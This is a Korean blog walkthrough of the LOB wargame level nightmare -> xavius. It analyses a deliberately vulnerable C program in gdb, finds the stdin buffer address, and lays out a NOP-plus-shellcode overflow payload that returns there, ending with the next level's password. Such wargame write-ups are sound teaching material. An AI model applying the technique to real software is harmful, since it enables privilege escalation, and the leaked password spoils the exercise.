ipwn

[LOB(Lord Of Buffer overflow)] nightmare -> xavius 본문

Write up/LOB

[LOB(Lord Of Buffer overflow)] nightmare -> xavius

ipwn 2018. 1. 22. 02:00

이번 단계는 마지막 전의 단계 nightmare단계이다.


바로 복사본을 만들고 파일들을 살펴보겠다.


1
2
3
4
5
[nightmare@localhost nightmare]$ ls -l
total 36
-rwsr-sr-x    1 nightmar nightmar    13398 Jan 18 07:49 xaviu1
-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius
-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c


cs


생각보다 colorscripter이 훨씬 편한 것 같다. bash도 지원해줄줄은 몰랐다.


아무튼 xavius 파일과 xavius.c 코드가 있다.


코드를 읽어보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs

보아하니 우리가 예전에 사용했던 방법은 전부 막혀있다.


라이브러리, 스택, 공유라이브러리 등등 ... 막막해보인다.


모든 스택은 memset돼버렸고, 코드영역은 0x08을 막아버렸고, 라이브러리는 특이한 방법으로 막았다.


하지만 라이브러리를 막을 때는 그냥 0x40을 필터링해서 막으면 될텐데 왜 그러지 않았을까?


또 여기서 왜 갑자기 agrv가 아닌 stdin으로 입력을 받는것일까?


우리는 0x40을 막지 않은 것과 stdin으로 입력을 받는 것에 주의를 기울여야한다.


stdin은 표준 입력 스트림을 의미하는데, stdin에 입력을 받고 임시로 저장을 하는 부분이 있을 것이다.


스택은 전부 0으로 memset이 되더라도, 이 stdin의 부분은 0으로 memset이 되지 않을 것이다.


즉 stdin에 shellcode를 올려놓고 ret 부분을 stdin의 위치로 옮겨주어 shellcode를 띄워주면 될 것이다.


일단 stdin으로 입력을 받아 임시로 저장되는 곳의 주소를 찾아야 할 것이다.


gdb로 복사본을 디버깅해서 찾아보겠다.


먼저 디버깅을 할 때 A를 48개 넣어주고 임시 저장 버퍼의 주소를 찾아보겠다.


1
2
3
4
5
6
7
[nightmare@localhost nightmare]$ python -'print "A"*48' > payload
[nightmare@localhost nightmare]$ ls -l
total 40
-rw-rw-r--    1 nightmar nightmar       49 Jan 21 18:33 payload
-rwsr-sr-x    1 nightmar nightmar    13398 Jan 18 07:49 xaviu1
-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius
-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c


이렇게 payload라는 파일에 A값을 48개 넣어주었다.


이제 gdb로 xaviu1 파일을 디버깅 해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
[nightmare@localhost nightmare]$ gdb -q xaviu1
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:    push   %ebp
0x8048715 <main+1>:    mov    %ebp,%esp
0x8048717 <main+3>:    sub    %esp,44
0x804871a <main+6>:    mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
0x804872e <main+26>:    add    %esp,12
0x8048731 <main+29>:    lea    %eax,[%ebp-40]
0x8048734 <main+32>:    push   %eax
0x8048735 <main+33>:    push   0x80488bb
0x804873a <main+38>:    call   0x8048438 <printf>
0x804873f <main+43>:    add    %esp,8
0x8048742 <main+46>:    cmp    BYTE PTR [%ebp+7],0xbf
0x8048746 <main+50>:    jne    0x8048760 <main+76>
0x8048748 <main+52>:    push   0x80488bf
0x804874d <main+57>:    call   0x8048438 <printf>
0x8048752 <main+62>:    add    %esp,4
0x8048755 <main+65>:    push   0
0x8048757 <main+67>:    call   0x8048458 <exit>
0x804875c <main+72>:    add    %esp,4
0x804875f <main+75>:    nop    
0x8048760 <main+76>:    cmp    BYTE PTR [%ebp+7],0x8
0x8048764 <main+80>:    jne    0x8048780 <main+108>
0x8048766 <main+82>:    push   0x80488e0
0x804876b <main+87>:    call   0x8048438 <printf>
0x8048770 <main+92>:    add    %esp,4
0x8048773 <main+95>:    push   0
0x8048775 <main+97>:    call   0x8048458 <exit>
0x804877a <main+102>:    add    %esp,4
0x804877d <main+105>:    lea    %esi,[%esi]
0x8048780 <main+108>:    push   4
0x8048782 <main+110>:    lea    %eax,[%ebp-40]
0x8048785 <main+113>:    lea    %edx,[%eax+44]
0x8048788 <main+116>:    push   %edx
0x8048789 <main+117>:    lea    %eax,[%ebp-44]
0x804878c <main+120>:    push   %eax
0x804878d <main+121>:    call   0x8048448 <memcpy>
0x8048792 <main+126>:    add    %esp,12
0x8048795 <main+129>:    push   2
0x8048797 <main+131>:    push   0x8048902
0x804879c <main+136>:    mov    %eax,DWORD PTR [%ebp-44]
0x804879f <main+139>:    push   %eax
0x80487a0 <main+140>:    call   0x8048418 <memcmp>
0x80487a5 <main+145>:    add    %esp,12
0x80487a8 <main+148>:    mov    %eax,%eax
0x80487aa <main+150>:    test   %eax,%eax
0x80487ac <main+152>:    jne    0x80487b0 <main+156>
0x80487ae <main+154>:    jmp    0x80487e0 <main+204>
0x80487b0 <main+156>:    mov    %eax,DWORD PTR [%ebp-44]
0x80487b3 <main+159>:    cmp    BYTE PTR [%eax],0xc9
0x80487b6 <main+162>:    jne    0x80487d8 <main+196>
0x80487b8 <main+164>:    mov    %eax,DWORD PTR [%ebp-44]
0x80487bb <main+167>:    inc    %eax
0x80487bc <main+168>:    cmp    BYTE PTR [%eax],0xc3
0x80487bf <main+171>:    jne    0x80487d8 <main+196>
0x80487c1 <main+173>:    push   0x8048920
0x80487c6 <main+178>:    call   0x8048438 <printf>
0x80487cb <main+183>:    add    %esp,4
0x80487ce <main+186>:    push   0
0x80487d0 <main+188>:    call   0x8048458 <exit>
0x80487d5 <main+193>:    add    %esp,4
0x80487d8 <main+196>:    inc    DWORD PTR [%ebp-44]
0x80487db <main+199>:    jmp    0x8048795 <main+129>
0x80487dd <main+201>:    lea    %esi,[%esi]
0x80487e0 <main+204>:    push   44
0x80487e2 <main+206>:    push   0
0x80487e4 <main+208>:    lea    %eax,[%ebp-40]
0x80487e7 <main+211>:    push   %eax
0x80487e8 <main+212>:    call   0x8048468 <memset>
0x80487ed <main+217>:    add    %esp,12
0x80487f0 <main+220>:    lea    %eax,[%ebp-40]
0x80487f3 <main+223>:    mov    %edx,0xbfffffcf
0x80487f8 <main+228>:    mov    %ecx,%edx
0x80487fa <main+230>:    sub    %ecx,%eax
0x80487fc <main+232>:    mov    %eax,%ecx
0x80487fe <main+234>:    push   %eax
0x80487ff <main+235>:    push   0
0x8048801 <main+237>:    lea    %eax,[%ebp-40]
0x8048804 <main+240>:    lea    %edx,[%eax+48]
0x8048807 <main+243>:    push   %edx
0x8048808 <main+244>:    call   0x8048468 <memset>
0x804880d <main+249>:    add    %esp,12
0x8048810 <main+252>:    push   0xb90
0x8048815 <main+257>:    push   0
0x8048817 <main+259>:    lea    %eax,[%ebp-40]
0x804881a <main+262>:    lea    %edx,[%eax-3000]
0x8048820 <main+268>:    push   %edx
0x8048821 <main+269>:    call   0x8048468 <memset>
0x8048826 <main+274>:    add    %esp,12
0x8048829 <main+277>:    leave  
0x804882a <main+278>:    ret    
0x804882b <main+279>:    nop    
0x804882c <main+280>:    nop    
0x804882d <main+281>:    nop    
0x804882e <main+282>:    nop    
0x804882f <main+283>:    nop    
End of assembler dump.
 


이것이 메인함수의 어셈블리 전문이다.


빨간색으로 칠해져 있는 줄을 보면 fgets의 인자로 stdin의 주소가 넘겨지는 것을 확인할 수 있다.


이제 fgets함수의 바로 밑 부분에 BreakPoint를 걸어주고 A를 48개 넘겨주겠다.


1
2
3
4
5
6
(gdb) b*main+26
Breakpoint 1 at 0x804872e
(gdb) r < payload
Starting program: /home/nightmare/xaviu1 < payload
 
Breakpoint 10x804872e in main ()


성공적으로 값을 넘기고 breakpoint에서 멈췄다.


이제 stdin의 주소를 보도록 하겠다.


1
2
3
4
5
6
7
8
9
10
11
(gdb) x/0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:    shr    BYTE PTR [%eax+16],0x40
(gdb) 
0x8049a40 <object.8>:    add    BYTE PTR [%eax],%al
(gdb) 
0x8049a42 <object.8+2>:    add    BYTE PTR [%eax],%al
(gdb) x/4x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0    0x00000000    0x00000000    0x08049950
(gdb) 
0x8049a4c <object.8+12>:    0x00000000    0x00000000    0x40108d40    0x00000000
(gdb)


x/i로 봤을 때는 shr 어셈블리어가 나오기에 값을 봤더니 0x401068c0이라는 값이 나왔다.


저 주소를 한 번 살펴보도록 하겠다.


1
2
3
4
5
6
7
(gdb) x/24x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2088    0x40015031    0x40015031    0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:    0x40015000    0x40015000    0x40015000    0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:    0x40016000    0x00000000    0x00000000    0x00000000
0x401068f0 <_IO_2_1_stdin_+48>:    0x00000000    0x00000000    0x00000000    0x00000000
0x40106900 <_IO_2_1_stdin_+64>:    0xffffffff    0x00000000    0x401068a0    0xffffffff
0x40106910 <_IO_2_1_stdin_+80>:    0xffffffff    0x00000000    0x00000000    0x00000000

0xfbad2088, 0x40015031, 0x40015000의 값이 보인다.


어떤 주소가 임시버퍼의 주소인지 모르겠으니 셋 다 살펴보도록 하겠다.


1
2
3
4
5
6
7
8
(gdb) x/24x 0xfbad2088
0xfbad2088:    Cannot access memory at address 0xfbad2088
(gdb) 
0xfbad208c:    Cannot access memory at address 0xfbad208c
(gdb) 
0xfbad2090:    Cannot access memory at address 0xfbad2090
(gdb) 
0xfbad2094:    Cannot access memory at address 0xfbad2094




0xfbad2088에는 아무 값도 들어있지않다.


임시버퍼의 주소가 아닌 것 같다.


1
2
3
4
5
6
7
(gdb) x/24x 0x40015031
0x40015031:    0x00000000    0x00000000    0x00000000    0x00000000
0x40015041:    0x00000000    0x00000000    0x00000000    0x00000000
0x40015051:    0x00000000    0x00000000    0x00000000    0x00000000
0x40015061:    0x00000000    0x00000000    0x00000000    0x00000000
0x40015071   0x00000000    0x00000000    0x00000000    0x00000000
0x40015081:    0x00000000    0x00000000    0x00000000    0x00000000


0x40015031의 주소를 살펴봤다.


0의 값으로 채워져있을 뿐 넣어줬던 A의 값은 어디에도 보이지 않는다.


마찬가지로 임시버퍼의 주소가 아닌 것 같다.


1
2
3
4
5
6
7
(gdb) x/24x 0x40015000
0x40015000:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015010:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015020:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015030:    0x0000000a    0x00000000    0x00000000    0x00000000
0x40015040   0x00000000    0x00000000    0x00000000    0x00000000
0x40015050:    0x00000000    0x00000000    0x00000000    0x00000000


값이 모두 0x41 즉 A로 채워져있는 곳을 찾았다.


임시 버퍼의 주소는 0x40015000이다.


이제보니 0x40015031의 주소는 임시버퍼가 끝난 다음 주소를 가리키는 것 같다.


아무튼 임시 버퍼의 주소 부분이 0x40으로 시작하기 때문에 라이브러리를 막을 때 0x40을 막지 않았다는 것을 알 수 있다.


이제 우리가 넘겨줄 payload가 완벽해졌다.


코드를 보면 0x90이 2개 연속으로 이어져있을 때 while문을 탈출하므로 우리가 넘겨줄 payload는


nop(\x90)*2 + shellcode(34byte) + dummy*8 + 0x40015000


이 될 것이다.


한 번 shell이 가져와지는지 복사본에 값을 넘겨주겠다.



성공적으로 shell을 가져왔다.


이제 원본에도 payload를 넘겨주어서 권한이 상승한 shell을 가져오겠다.



shell을 가져왔다.


마지막단계인 xavius단계로 가는 password는 throw me away이다.


드디어 마지막 단계이다.


Comments